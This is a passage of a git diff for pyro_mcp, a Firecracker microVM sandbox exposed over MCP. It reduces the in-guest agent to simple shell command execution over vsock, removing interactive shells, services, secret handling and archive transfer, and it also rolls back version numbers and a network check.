host_path.unlink(missing_ok=False) - return { - "path": str(normalized_path), - "deleted": True, - } - - -def _run_command( - command: str, - timeout_seconds: int, - *, - env: dict[str, str] | None = None, -) -> dict[str, Any]: +def _run_command(command: str, timeout_seconds: int) -> dict[str, Any]: started = time.monotonic() - command_env = os.environ.copy() - if env is not None: - command_env.update(env) try: proc = subprocess.run( ["/bin/sh", "-lc", command], text=True, capture_output=True, - env=command_env, timeout=timeout_seconds, check=False, ) @@ -511,701 +53,7 @@ def _run_command( } -def _set_pty_size(fd: int, rows: int, cols: int) -> None: - winsize = struct.pack("HHHH", rows, cols, 0, 0) - fcntl.ioctl(fd, termios.TIOCSWINSZ, winsize) - - -def _shell_argv(*, interactive: bool) -> list[str]: - shell_program = shutil.which("bash") or "/bin/sh" - argv = [shell_program] - if shell_program.endswith("bash"): - argv.extend(["--noprofile", "--norc"]) - if interactive: - argv.append("-i") - return argv - - -class GuestShellSession: - """In-guest PTY-backed interactive shell session.""" - - def __init__( - self, - *, - shell_id: str, - cwd: Path, - cwd_text: str, - cols: int, - rows: int, - env_overrides: dict[str, str] | None = None, - redact_values: list[str] | None = None, - ) -> None: - self.shell_id = shell_id - self.cwd = cwd_text - self.cols = cols - self.rows = rows - self.started_at = time.time() - self.ended_at: float | None = None - self.exit_code: int | None = None - self.state = "running" - self._lock = threading.RLock() - self._output = "" - self._decoder = codecs.getincrementaldecoder("utf-8")("replace") - self._redact_values = list(redact_values or []) - self._metadata_path = SHELL_ROOT / f"{shell_id}.json" - self._log_path = SHELL_ROOT / f"{shell_id}.log" - self._master_fd: int | None = None - - master_fd, slave_fd = os.openpty() - try: - _set_pty_size(slave_fd, rows, cols) - env = os.environ.copy() - env.update( - { - "TERM": env.get("TERM", "xterm-256color"), - "PS1": "pyro$ ", - "PROMPT_COMMAND": "", - } - ) - if env_overrides is not None: - env.update(env_overrides) - process = subprocess.Popen( # noqa: S603 - _shell_argv(interactive=True), - stdin=slave_fd, - stdout=slave_fd, - stderr=slave_fd, - cwd=str(cwd), - env=env, - text=False, - close_fds=True, - preexec_fn=os.setsid, - ) - except Exception: - os.close(master_fd) - raise - finally: - os.close(slave_fd) - - self._process = process - self._master_fd = master_fd - self._write_metadata() - self._reader = threading.Thread(target=self._reader_loop, daemon=True) - self._waiter = threading.Thread(target=self._waiter_loop, daemon=True) - self._reader.start() - self._waiter.start() - - def summary(self) -> dict[str, Any]: - with self._lock: - return { - "shell_id": self.shell_id, - "cwd": self.cwd, - "cols": self.cols, - "rows": self.rows, - "state": self.state, - "started_at": self.started_at, - "ended_at": self.ended_at, - "exit_code": self.exit_code, - } - - def read(self, *, cursor: int, max_chars: int) -> dict[str, Any]: - with self._lock: - redacted_output = _redact_text(self._output, self._redact_values) - clamped_cursor = min(max(cursor, 0), len(redacted_output)) - output = redacted_output[clamped_cursor : clamped_cursor + max_chars] - next_cursor = clamped_cursor + len(output) - payload = self.summary() - payload.update( - { - "cursor": clamped_cursor, - "next_cursor": next_cursor, - "output": output, - "truncated": next_cursor < len(redacted_output), - } - ) - return payload - - def write(self, text: str, *, append_newline: bool) -> dict[str, Any]: - if self._process.poll() is not None: - self._refresh_process_state() - with self._lock: - if self.state != "running": - raise RuntimeError(f"shell {self.shell_id} is not running") - master_fd = self._master_fd - if master_fd is None: - raise RuntimeError(f"shell {self.shell_id} transport is unavailable") - payload = text + ("\n" if append_newline else "") - try: - os.write(master_fd, payload.encode("utf-8")) - except OSError as exc: - self._refresh_process_state() - raise RuntimeError(f"failed to write shell input: {exc}") from exc - response = self.summary() - response.update({"input_length": len(text), "append_newline": append_newline}) - return response - - def send_signal(self, signal_name: str) -> dict[str, Any]: - signum = SHELL_SIGNAL_MAP.get(signal_name) - if signum is None: - raise ValueError(f"unsupported shell signal: {signal_name}") - if self._process.poll() is not None: - self._refresh_process_state() - with self._lock: - if self.state != "running": - raise RuntimeError(f"shell {self.shell_id} is not running") - pid = self._process.pid - try: - os.killpg(pid, signum) - except ProcessLookupError as exc: - self._refresh_process_state() - raise RuntimeError(f"shell {self.shell_id} is not running") from exc - response = self.summary() - response["signal"] = signal_name - return response - - def close(self) -> dict[str, Any]: - if self._process.poll() is None: - try: - os.killpg(self._process.pid, signal.SIGHUP) - except ProcessLookupError: - pass - try: - self._process.wait(timeout=5) - except subprocess.TimeoutExpired: - try: - os.killpg(self._process.pid, signal.SIGKILL) - except ProcessLookupError: - pass - self._process.wait(timeout=5) - else: - self._refresh_process_state() - self._close_master_fd() - if self._reader is not None: - self._reader.join(timeout=1) - if self._waiter is not None: - self._waiter.join(timeout=1) - response = self.summary() - response["closed"] = True - return response - - def _reader_loop(self) -> None: - master_fd = self._master_fd - if master_fd is None: - return - while True: - try: - chunk = os.read(master_fd, BUFFER_SIZE) - except OSError: - break - if chunk == b"": - break - decoded = self._decoder.decode(chunk) - if decoded == "": - continue - with self._lock: - self._output += decoded - with self._log_path.open("a", encoding="utf-8") as handle: - handle.write(decoded) - decoded = self._decoder.decode(b"", final=True) - if decoded != "": - with self._lock: - self._output += decoded - with self._log_path.open("a", encoding="utf-8") as handle: - handle.write(decoded) - - def _waiter_loop(self) -> None: - exit_code = self._process.wait() - with self._lock: - self.state = "stopped" - self.exit_code = exit_code - self.ended_at = time.time() - self._write_metadata() - - def _refresh_process_state(self) -> None: - exit_code = self._process.poll() - if exit_code is None: - return - with self._lock: - if self.state == "running": - self.state = "stopped" - self.exit_code = exit_code - self.ended_at = time.time() - self._write_metadata() - - def _write_metadata(self) -> None: - self._metadata_path.parent.mkdir(parents=True, exist_ok=True) - self._metadata_path.write_text(json.dumps(self.summary(), indent=2), encoding="utf-8") - - def _close_master_fd(self) -> None: - with self._lock: - master_fd = self._master_fd - self._master_fd = None - if master_fd is None: - return - try: - os.close(master_fd) - except OSError: - pass - - -def _create_shell( - *, - shell_id: str, - cwd_text: str, - cols: int, - rows: int, - env_overrides: dict[str, str] | None = None, - redact_values: list[str] | None = None, -) -> GuestShellSession: - _, cwd_path = _normalize_shell_cwd(cwd_text) - with _SHELLS_LOCK: - if shell_id in _SHELLS: - raise RuntimeError(f"shell {shell_id!r} already exists") - session = GuestShellSession( - shell_id=shell_id, - cwd=cwd_path, - cwd_text=cwd_text, - cols=cols, - rows=rows, - env_overrides=env_overrides, - redact_values=redact_values, - ) - _SHELLS[shell_id] = session - return session - - -def _get_shell(shell_id: str) -> GuestShellSession: - with _SHELLS_LOCK: - try: - return _SHELLS[shell_id] - except KeyError as exc: - raise RuntimeError(f"shell {shell_id!r} does not exist") from exc - - -def _remove_shell(shell_id: str) -> GuestShellSession: - with _SHELLS_LOCK: - try: - return _SHELLS.pop(shell_id) - except KeyError as exc: - raise RuntimeError(f"shell {shell_id!r} does not exist") from exc - - -def _read_service_metadata(service_name: str) -> dict[str, Any]: - metadata_path = _service_metadata_path(service_name) - if not metadata_path.exists(): - raise RuntimeError(f"service {service_name!r} does not exist") - payload = json.loads(metadata_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - raise RuntimeError(f"service record for {service_name!r} is invalid") - return payload - - -def _write_service_metadata(service_name: str, payload: dict[str, Any]) -> None: - _service_metadata_path(service_name).write_text( - json.dumps(payload, indent=2, sort_keys=True), - encoding="utf-8", - ) - - -def _service_exit_code(service_name: str) -> int | None: - status_path = _service_status_path(service_name) - if not status_path.exists(): - return None - raw_value = status_path.read_text(encoding="utf-8", errors="ignore").strip() - if raw_value == "": - return None - return int(raw_value) - - -def _service_pid_running(pid: int | None) -> bool: - if pid is None: - return False - try: - os.kill(pid, 0) - except ProcessLookupError: - return False - except PermissionError: - return True - return True - - -def _tail_service_text(path: Path, *, tail_lines: int | None) -> tuple[str, bool]: - if not path.exists(): - return "", False - text = path.read_text(encoding="utf-8", errors="replace") - if tail_lines is None: - return text, False - lines = text.splitlines(keepends=True) - if len(lines) <= tail_lines: - return text, False - return "".join(lines[-tail_lines:]), True - - -def _stop_service_process(pid: int) -> tuple[bool, bool]: - try: - os.killpg(pid, signal.SIGTERM) - except ProcessLookupError: - return False, False - deadline = time.monotonic() + 5 - while time.monotonic() < deadline: - if not _service_pid_running(pid): - return True, False - time.sleep(0.1) - try: - os.killpg(pid, signal.SIGKILL) - except ProcessLookupError: - return True, False - deadline = time.monotonic() + 5 - while time.monotonic() < deadline: - if not _service_pid_running(pid): - return True, True - time.sleep(0.1) - return True, True - - -def _refresh_service_payload(service_name: str, payload: dict[str, Any]) -> dict[str, Any]: - if str(payload.get("state", "stopped")) != "running": - return payload - pid = payload.get("pid") - normalized_pid = None if pid is None else int(pid) - if _service_pid_running(normalized_pid): - return payload - refreshed = dict(payload) - refreshed["state"] = "exited" - refreshed["ended_at"] = refreshed.get("ended_at") or time.time() - refreshed["exit_code"] = _service_exit_code(service_name) - _write_service_metadata(service_name, refreshed) - return refreshed - - -def _run_readiness_probe( - readiness: dict[str, Any] | None, - *, - cwd: Path, - env: dict[str, str] | None = None, -) -> bool: - if readiness is None: - return True - readiness_type = str(readiness["type"]) - if readiness_type == "file": - _, ready_path = _normalize_destination(str(readiness["path"])) - return ready_path.exists() - if readiness_type == "tcp": - host, raw_port = str(readiness["address"]).rsplit(":", 1) - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: - sock.settimeout(1) - try: - sock.connect((host, int(raw_port))) - except OSError: - return False - return True - if readiness_type == "http": - request = urllib.request.Request(str(readiness["url"]), method="GET") - try: - with urllib.request.urlopen(request, timeout=2) as response: # noqa: S310 - return 200 <= int(response.status) < 400 - except (urllib.error.URLError, TimeoutError, ValueError): - return False - if readiness_type == "command": - command_env = os.environ.copy() - if env is not None: - command_env.update(env) - proc = subprocess.run( # noqa: S603 - ["/bin/sh", "-lc", str(readiness["command"])], - cwd=str(cwd), - text=True, - capture_output=True, - env=command_env, - timeout=10, - check=False, - ) - return proc.returncode == 0 - raise RuntimeError(f"unsupported readiness type: {readiness_type}") - - -def _start_service( - *, - service_name: str, - command: str, - cwd_text: str, - readiness: dict[str, Any] | None, - ready_timeout_seconds: int, - ready_interval_ms: int, - env: dict[str, str] | None = None, -) -> dict[str, Any]: - normalized_service_name = _normalize_service_name(service_name) - normalized_cwd, cwd_path = _normalize_shell_cwd(cwd_text) - existing = None - metadata_path = _service_metadata_path(normalized_service_name) - if metadata_path.exists(): - existing = _refresh_service_payload( - normalized_service_name, - _read_service_metadata(normalized_service_name), - ) - if existing is not None and str(existing.get("state", "stopped")) == "running": - raise RuntimeError(f"service {normalized_service_name!r} is already running") - SERVICE_ROOT.mkdir(parents=True, exist_ok=True) - stdout_path = _service_stdout_path(normalized_service_name) - stderr_path = _service_stderr_path(normalized_service_name) - status_path = _service_status_path(normalized_service_name) - runner_path = _service_runner_path(normalized_service_name) - stdout_path.write_text("", encoding="utf-8") - stderr_path.write_text("", encoding="utf-8") - status_path.unlink(missing_ok=True) - runner_path.write_text( - "\n".join( - [ - "#!/bin/sh", - "set +e", - f"cd {shlex.quote(str(cwd_path))}", - ( - f"/bin/sh -lc {shlex.quote(command)}" - f" >> {shlex.quote(str(stdout_path))}" - f" 2>> {shlex.quote(str(stderr_path))}" - ), - "status=$?", - f"printf '%s' \"$status\" > {shlex.quote(str(status_path))}", - "exit \"$status\"", - ] - ) - + "\n", - encoding="utf-8", - ) - runner_path.chmod(0o700) - service_env = os.environ.copy() - if env is not None: - service_env.update(env) - process = subprocess.Popen( # noqa: S603 - [str(runner_path)], - cwd=str(cwd_path), - env=service_env, - text=True, - start_new_session=True, - ) - payload: dict[str, Any] = { - "service_name": normalized_service_name, - "command": command, - "cwd": normalized_cwd, - "state": "running", - "started_at": time.time(), - "readiness": readiness, - "ready_at": None, - "ended_at": None, - "exit_code": None, - "pid": process.pid, - "stop_reason": None, - } - _write_service_metadata(normalized_service_name, payload) - deadline = time.monotonic() + ready_timeout_seconds - while True: - payload = _refresh_service_payload(normalized_service_name, payload) - if str(payload.get("state", "stopped")) != "running": - payload["state"] = "failed" - payload["stop_reason"] = "process_exited_before_ready" - payload["ended_at"] = payload.get("ended_at") or time.time() - _write_service_metadata(normalized_service_name, payload) - return payload - if _run_readiness_probe(readiness, cwd=cwd_path, env=env): - payload["ready_at"] = time.time() - _write_service_metadata(normalized_service_name, payload) - return payload - if time.monotonic() >= deadline: - _stop_service_process(process.pid) - payload = _refresh_service_payload(normalized_service_name, payload) - payload["state"] = "failed" - payload["stop_reason"] = "readiness_timeout" - payload["ended_at"] = payload.get("ended_at") or time.time() - _write_service_metadata(normalized_service_name, payload) - return payload - time.sleep(max(ready_interval_ms, 1) / 1000) - - -def _status_service(service_name: str) -> dict[str, Any]: - normalized_service_name = _normalize_service_name(service_name) - return _refresh_service_payload( - normalized_service_name, - _read_service_metadata(normalized_service_name), - ) - - -def _logs_service(service_name: str, *, tail_lines: int | None) -> dict[str, Any]: - normalized_service_name = _normalize_service_name(service_name) - payload = _status_service(normalized_service_name) - stdout, stdout_truncated = _tail_service_text( - _service_stdout_path(normalized_service_name), - tail_lines=tail_lines, - ) - stderr, stderr_truncated = _tail_service_text( - _service_stderr_path(normalized_service_name), - tail_lines=tail_lines, - ) - payload.update( - { - "stdout": stdout, - "stderr": stderr, - "tail_lines": tail_lines, - "truncated": stdout_truncated or stderr_truncated, - } - ) - return payload - - -def _stop_service(service_name: str) -> dict[str, Any]: - normalized_service_name = _normalize_service_name(service_name) - payload = _status_service(normalized_service_name) - pid = payload.get("pid") - if pid is None: - return payload - if str(payload.get("state", "stopped")) == "running": - _, killed = _stop_service_process(int(pid)) - payload = _status_service(normalized_service_name) - payload["state"] = "stopped" - payload["stop_reason"] = "sigkill" if killed else "sigterm" - payload["ended_at"] = payload.get("ended_at") or time.time() - _write_service_metadata(normalized_service_name, payload) - return payload - - -def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: - action = str(request.get("action", "exec")) - if action == "extract_archive": - archive_size = int(request.get("archive_size", 0)) - if archive_size < 0: - raise RuntimeError("archive_size must not be negative") - destination = str(request.get("destination", "/workspace")) - payload = _read_exact(conn, archive_size) - return _extract_archive(payload, destination) - if action == "install_secrets": - archive_size = int(request.get("archive_size", 0)) - if archive_size < 0: - raise RuntimeError("archive_size must not be negative") - payload = _read_exact(conn, archive_size) - return _install_secrets_archive(payload) - if action == "list_workspace": - return _list_workspace( - str(request.get("path", "/workspace")), - recursive=bool(request.get("recursive", False)), - ) - if action == "read_workspace_file": - return _read_workspace_file( - str(request.get("path", "/workspace")), - max_bytes=int(request.get("max_bytes", WORKSPACE_FILE_MAX_BYTES)), - ) - if action == "write_workspace_file": - return _write_workspace_file( - str(request.get("path", "/workspace")), - text=str(request.get("text", "")), - ) - if action == "delete_workspace_path": - return _delete_workspace_path(str(request.get("path", "/workspace"))) - if action == "open_shell": - shell_id = str(request.get("shell_id", "")).strip() - if shell_id == "": - raise RuntimeError("shell_id is required") - cwd_text, _ = _normalize_shell_cwd(str(request.get("cwd", "/workspace"))) - env_payload = request.get("env") - env_overrides = None - if env_payload is not None: - if not isinstance(env_payload, dict): - raise RuntimeError("shell env must be a JSON object") - env_overrides = { - _normalize_secret_name(str(key)): str(value) for key, value in env_payload.items() - } - redact_values_payload = request.get("redact_values") - redact_values: list[str] | None = None - if redact_values_payload is not None: - if not isinstance(redact_values_payload, list): - raise RuntimeError("redact_values must be a list") - redact_values = [str(item) for item in redact_values_payload] - session = _create_shell( - shell_id=shell_id, - cwd_text=cwd_text, - cols=int(request.get("cols", 120)), - rows=int(request.get("rows", 30)), - env_overrides=env_overrides, - redact_values=redact_values, - ) - return session.summary() - if action == "read_shell": - shell_id = str(request.get("shell_id", "")).strip() - if shell_id == "": - raise RuntimeError("shell_id is required") - return _get_shell(shell_id).read( - cursor=int(request.get("cursor", 0)), - max_chars=int(request.get("max_chars", 65536)), - ) - if action == "write_shell": - shell_id = str(request.get("shell_id", "")).strip() - if shell_id == "": - raise RuntimeError("shell_id is required") - return _get_shell(shell_id).write( - str(request.get("input", "")), - append_newline=bool(request.get("append_newline", True)), - ) - if action == "signal_shell": - shell_id = str(request.get("shell_id", "")).strip() - if shell_id == "": - raise RuntimeError("shell_id is required") - signal_name = str(request.get("signal", "INT")).upper() - if signal_name not in SHELL_SIGNAL_NAMES: - raise RuntimeError( - f"signal must be one of: {', '.join(SHELL_SIGNAL_NAMES)}" - ) - return _get_shell(shell_id).send_signal(signal_name) - if action == "close_shell": - shell_id = str(request.get("shell_id", "")).strip() - if shell_id == "": - raise RuntimeError("shell_id is required") - return _remove_shell(shell_id).close() - if action == "start_service": - service_name = str(request.get("service_name", "")).strip() - command = str(request.get("command", "")) - cwd_text = str(request.get("cwd", "/workspace")) - readiness = request.get("readiness") - readiness_payload = dict(readiness) if isinstance(readiness, dict) else None - env_payload = request.get("env") - env = None - if env_payload is not None: - if not isinstance(env_payload, dict): - raise RuntimeError("service env must be a JSON object") - env = { - _normalize_secret_name(str(key)): str(value) - for key, value in env_payload.items() - } - return _start_service( - service_name=service_name, - command=command, - cwd_text=cwd_text, - readiness=readiness_payload, - ready_timeout_seconds=int(request.get("ready_timeout_seconds", 30)), - ready_interval_ms=int(request.get("ready_interval_ms", 500)), - env=env, - ) - if action == "status_service": - service_name = str(request.get("service_name", "")).strip() - return _status_service(service_name) - if action == "logs_service": - service_name = str(request.get("service_name", "")).strip() - tail_lines = request.get("tail_lines") - normalized_tail_lines = None if tail_lines is None else int(tail_lines) - return _logs_service(service_name, tail_lines=normalized_tail_lines) - if action == "stop_service": - service_name = str(request.get("service_name", "")).strip() - return _stop_service(service_name) - command = str(request.get("command", "")) - timeout_seconds = int(request.get("timeout_seconds", 30)) - env_payload = request.get("env") - env = None - if env_payload is not None: - if not isinstance(env_payload, dict): - raise RuntimeError("exec env must be a JSON object") - env = {_normalize_secret_name(str(key)): str(value) for key, value in env_payload.items()} - return _run_command(command, timeout_seconds, env=env) - - def main() -> None: - SHELL_ROOT.mkdir(parents=True, exist_ok=True) - SERVICE_ROOT.mkdir(parents=True, exist_ok=True) - SECRET_ROOT.mkdir(parents=True, exist_ok=True) family = getattr(socket, "AF_VSOCK", None) if family is None: raise SystemExit("AF_VSOCK is unavailable") @@ -1215,31 +63,10 @@ def main() -> None: while True: conn, _ = server.accept() with conn: - try: - request = _read_request(conn) - if str(request.get("action", "")) == "export_archive": - export = _prepare_export_archive(str(request.get("path", "/workspace"))) - try: - header = { - "workspace_path": export["workspace_path"], - "artifact_type": export["artifact_type"], - "archive_size": export["archive_size"], - "entry_count": export["entry_count"], - "bytes_written": export["bytes_written"], - } - conn.sendall((json.dumps(header) + "\n").encode("utf-8")) - with Path(str(export["archive_path"])).open("rb") as handle: - while True: - chunk = handle.read(BUFFER_SIZE) - if chunk == b"": - break - conn.sendall(chunk) - finally: - Path(str(export["archive_path"])).unlink(missing_ok=True) - continue - response = _dispatch(request, conn) - except Exception as exc: # noqa: BLE001 - response = {"error": str(exc)} + request = _read_request(conn) + command = str(request.get("command", "")) + timeout_seconds = int(request.get("timeout_seconds", 30)) + response = _run_command(command, timeout_seconds) conn.sendall((json.dumps(response) + "\n").encode("utf-8")) diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json b/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json index 46e5ccf..1e521e1 100644 --- a/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json +++ b/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json @@ -18,18 +18,14 @@ "component_versions": { "base_distro": "debian-bookworm-20250210", "firecracker": "1.12.1", - "guest_agent": "0.2.0-dev", + "guest_agent": "0.1.0-dev", "jailer": "1.12.1", "kernel": "5.10.210" }, "guest": { "agent": { "path": "guest/pyro_guest_agent.py", - "sha256": "81fe2523a40f9e88ee38601292b25919059be7faa049c9d02e9466453319c7dd" - }, - "init": { - "path": "guest/pyro-init", - "sha256": "96e3653955db049496cc9dc7042f3778460966e3ee7559da50224ab92ee8060b" + "sha256": "65bf8a9a57ffd7321463537e598c4b30f0a13046cbd4538f1b65bc351da5d3c0" } }, "platform": "linux-x86_64", diff --git a/src/pyro_mcp/runtime_network_check.py b/src/pyro_mcp/runtime_network_check.py index 0f7f87f..934f593 100644 --- a/src/pyro_mcp/runtime_network_check.py +++ b/src/pyro_mcp/runtime_network_check.py @@ -9,9 +9,9 @@ from pathlib import Path from pyro_mcp.api import Pyro NETWORK_CHECK_COMMAND = ( - 'python3 -c "import urllib.request as u; ' - "print(u.urlopen('https://example.com').status)" - '"' + "rm -rf hello-world " + "&& git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world >/dev/null " + "&& git -C hello-world rev-parse --is-inside-work-tree" ) @@ -76,7 +76,7 @@ def main() -> None: # pragma: no cover - CLI wiring print(f"[network] execution_mode={result.execution_mode}") print(f"[network] network_enabled={result.network_enabled}") print(f"[network] exit_code={result.exit_code}") - if result.exit_code == 0 and result.stdout.strip() == "200": + if result.exit_code == 0 and result.stdout.strip() == "true": print("[network] result=success") return print("[network] result=failure") diff --git a/src/pyro_mcp/server.py b/src/pyro_mcp/server.py index 455e9d2..bd094e0 100644 --- a/src/pyro_mcp/server.py +++ b/src/pyro_mcp/server.py @@ -2,41 +2,15 @@ from __future__ import annotations -from pathlib import Path - from mcp.server.fastmcp import FastMCP -from pyro_mcp.api import McpToolProfile, Pyro, WorkspaceUseCaseMode +from pyro_mcp.api import Pyro from pyro_mcp.vm_manager import VmManager -def create_server( - manager: VmManager | None = None, - *, - profile: McpToolProfile = "workspace-core", - mode: WorkspaceUseCaseMode | None = None, - project_path: str | Path | None = None, - repo_url: str | None = None, - repo_ref: str | None = None, - no_project_source: bool = False, -) -> FastMCP: - """Create and return a configured MCP server instance. - - Bare server creation uses the generic `workspace-core` path in 4.x. Use - `mode=...` for one of the named use-case surfaces, or - `profile="workspace-full"` only when the host truly needs the full - advanced workspace surface. By default, the server auto-detects the - nearest Git worktree root from its current working directory for - project-aware `workspace_create` calls. - """ - return Pyro(manager=manager).create_server( - profile=profile, - mode=mode, - project_path=project_path, - repo_url=repo_url, - repo_ref=repo_ref, - no_project_source=no_project_source, - ) +def create_server(manager: VmManager | None = None) -> FastMCP: + """Create and return a configured MCP server instance.""" + return Pyro(manager=manager).create_server() def main() -> None: diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index bd65b56..2017a1a 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "4.5.0" +DEFAULT_CATALOG_VERSION = "1.0.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", @@ -48,7 +48,7 @@ class VmEnvironment: oci_repository: str | None = None oci_reference: str | None = None source_digest: str | None = None - compatibility: str = ">=4.5.0,<5.0.0" + compatibility: str = ">=1.0.0,<2.0.0" @dataclass(frozen=True) @@ -114,11 +114,6 @@ def _default_cache_dir() -> Path: ) -def default_cache_dir() -> Path: - """Return the canonical default environment cache directory.""" - return _default_cache_dir() - - def _manifest_profile_digest(runtime_paths: RuntimePaths, profile_name: str) -> str | None: profiles = runtime_paths.manifest.get("profiles") if not isinstance(profiles, dict): @@ -185,10 +180,6 @@ def _serialize_environment(environment: VmEnvironment) -> dict[str, object]: } -def _artifacts_ready(root: Path) -> bool: - return (root / "vmlinux").is_file() and (root / "rootfs.ext4").is_file() - - class EnvironmentStore: """Install and inspect curated environments in a local cache.""" @@ -232,7 +223,7 @@ class EnvironmentStore: spec = get_environment(name, runtime_paths=self._runtime_paths) install_dir = self._install_dir(spec) metadata_path = install_dir / "environment.json" - installed = self._load_installed_environment(spec) is not None + installed = metadata_path.exists() and (install_dir / "vmlinux").exists() payload = _serialize_environment(spec) payload.update( { @@ -249,12 +240,29 @@ class EnvironmentStore: def ensure_installed(self, name: str) -> InstalledEnvironment: spec = get_environment(name, runtime_paths=self._runtime_paths) self._platform_dir.mkdir(parents=True, exist_ok=True) - installed = self._load_installed_environment(spec) - if installed is not None: - return installed + install_dir = self._install_dir(spec) + metadata_path = install_dir / "environment.json" + if metadata_path.exists(): + kernel_image = install_dir / "vmlinux" + rootfs_image = install_dir / "rootfs.ext4" + if kernel_image.exists() and rootfs_image.exists(): + metadata = json.loads(metadata_path.read_text(encoding="utf-8")) + source = str(metadata.get("source", "cache")) + raw_digest = metadata.get("source_digest") + digest = raw_digest if isinstance(raw_digest, str) else None + return InstalledEnvironment( + name=spec.name, + version=spec.version, + install_dir=install_dir, + kernel_image=kernel_image, + rootfs_image=rootfs_image, + source=source, + source_digest=digest, + installed=True, + ) source_dir = self._runtime_paths.artifacts_dir / spec.source_profile - if _artifacts_ready(source_dir): + if source_dir.exists(): return self._install_from_local_source(spec, source_dir) if ( spec.oci_registry is not None @@ -300,10 +308,6 @@ class EnvironmentStore: if spec.version != raw_version: shutil.rmtree(child, ignore_errors=True) deleted.append(child.name) - continue - if self._load_installed_environment(spec, install_dir=child) is None: - shutil.rmtree(child, ignore_errors=True) - deleted.append(child.name) return {"deleted_environment_dirs": sorted(deleted), "count": len(deleted)} def _install_dir(self, spec: VmEnvironment) -> Path: @@ -340,33 +344,6 @@ class EnvironmentStore: installed=True, ) - def _load_installed_environment( - self, spec: VmEnvironment, *, install_dir: Path | None = None - ) -> InstalledEnvironment | None: - resolved_install_dir = install_dir or self._install_dir(spec) - metadata_path = resolved_install_dir / "environment.json" - if not metadata_path.is_file() or not _artifacts_ready(resolved_install_dir): - return None - try: - metadata = json.loads(metadata_path.read_text(encoding="utf-8")) - except (OSError, json.JSONDecodeError): - return None - if not isinstance(metadata, dict): - return None - source = str(metadata.get("source", "cache")) - raw_digest = metadata.get("source_digest") - digest = raw_digest if isinstance(raw_digest, str) else None - return InstalledEnvironment( - name=spec.name, - version=spec.version, - install_dir=resolved_install_dir, - kernel_image=resolved_install_dir / "vmlinux", - rootfs_image=resolved_install_dir / "rootfs.ext4", - source=source, - source_digest=digest, - installed=True, - ) - def _install_from_archive(self, spec: VmEnvironment, archive_url: str) -> InstalledEnvironment: install_dir = self._install_dir(spec) temp_dir = Path(tempfile.mkdtemp(prefix=".partial-", dir=self._platform_dir)) diff --git a/src/pyro_mcp/vm_guest.py b/src/pyro_mcp/vm_guest.py index 9e66ef2..772f998 100644 --- a/src/pyro_mcp/vm_guest.py +++ b/src/pyro_mcp/vm_guest.py @@ -2,11 +2,9 @@ from __future__ import annotations -import base64 import json import socket from dataclasses import dataclass -from pathlib import Path from typing import Any, Callable, Protocol @@ -33,48 +31,6 @@ class GuestExecResponse: duration_ms: int -@dataclass(frozen=True) -class GuestArchiveResponse: - destination: str - entry_count: int - bytes_written: int - - -@dataclass(frozen=True) -class GuestArchiveExportResponse: - workspace_path: str - artifact_type: str - entry_count: int - bytes_written: int - - -@dataclass(frozen=True) -class GuestWorkspaceFileReadResponse: - path: str - size_bytes: int - content_bytes: bytes - - -@dataclass(frozen=True) -class GuestShellSummary: - shell_id: str - cwd: str - cols: int - rows: int - state: str - started_at: float - ended_at: float | None - exit_code: int | None - - -@dataclass(frozen=True) -class GuestShellReadResponse(GuestShellSummary): - cursor: int - next_cursor: int - output: str - truncated: bool - - class VsockExecClient: """Minimal JSON-over-stream client for a guest exec agent.""" @@ -88,533 +44,12 @@ class VsockExecClient: command: str, timeout_seconds: int, *, - env: dict[str, str] | None = None, uds_path: str | None = None, ) -> GuestExecResponse: - payload = self._request_json( - guest_cid, - port, - { - "command": command, - "timeout_seconds": timeout_seconds, - "env": env, - }, - timeout_seconds=timeout_seconds, - uds_path=uds_path, - error_message="guest exec response must be a JSON object", - ) - return GuestExecResponse( - stdout=str(payload.get("stdout", "")), - stderr=str(payload.get("stderr", "")), - exit_code=int(payload.get("exit_code", -1)), - duration_ms=int(payload.get("duration_ms", 0)), - ) - - def upload_archive( - self, - guest_cid: int, - port: int, - archive_path: Path, - *, - destination: str, - timeout_seconds: int = 60, - uds_path: str | None = None, - ) -> GuestArchiveResponse: request = { - "action": "extract_archive", - "destination": destination, - "archive_size": archive_path.stat().st_size, + "command": command, + "timeout_seconds": timeout_seconds, } - sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path) - try: - sock.sendall((json.dumps(request) + "\n").encode("utf-8")) - with archive_path.open("rb") as handle: - for chunk in iter(lambda: handle.read(65536), b""): - sock.sendall(chunk) - payload = self._recv_json_payload(sock) - finally: - sock.close() - - if not isinstance(payload, dict): - raise RuntimeError("guest archive response must be a JSON object") - error = payload.get("error") - if error is not None: - raise RuntimeError(str(error)) - return GuestArchiveResponse( - destination=str(payload.get("destination", destination)), - entry_count=int(payload.get("entry_count", 0)), - bytes_written=int(payload.get("bytes_written", 0)), - ) - - def install_secrets( - self, - guest_cid: int, - port: int, - archive_path: Path, - *, - timeout_seconds: int = 60, - uds_path: str | None = None, - ) -> GuestArchiveResponse: - request = { - "action": "install_secrets", - "archive_size": archive_path.stat().st_size, - } - sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path) - try: - sock.sendall((json.dumps(request) + "\n").encode("utf-8")) - with archive_path.open("rb") as handle: - for chunk in iter(lambda: handle.read(65536), b""): - sock.sendall(chunk) - payload = self._recv_json_payload(sock) - finally: - sock.close() - - if not isinstance(payload, dict): - raise RuntimeError("guest secret install response must be a JSON object") - error = payload.get("error") - if error is not None: - raise RuntimeError(str(error)) - return GuestArchiveResponse( - destination=str(payload.get("destination", "/run/pyro-secrets")), - entry_count=int(payload.get("entry_count", 0)), - bytes_written=int(payload.get("bytes_written", 0)), - ) - - def export_archive( - self, - guest_cid: int, - port: int, - *, - workspace_path: str, - 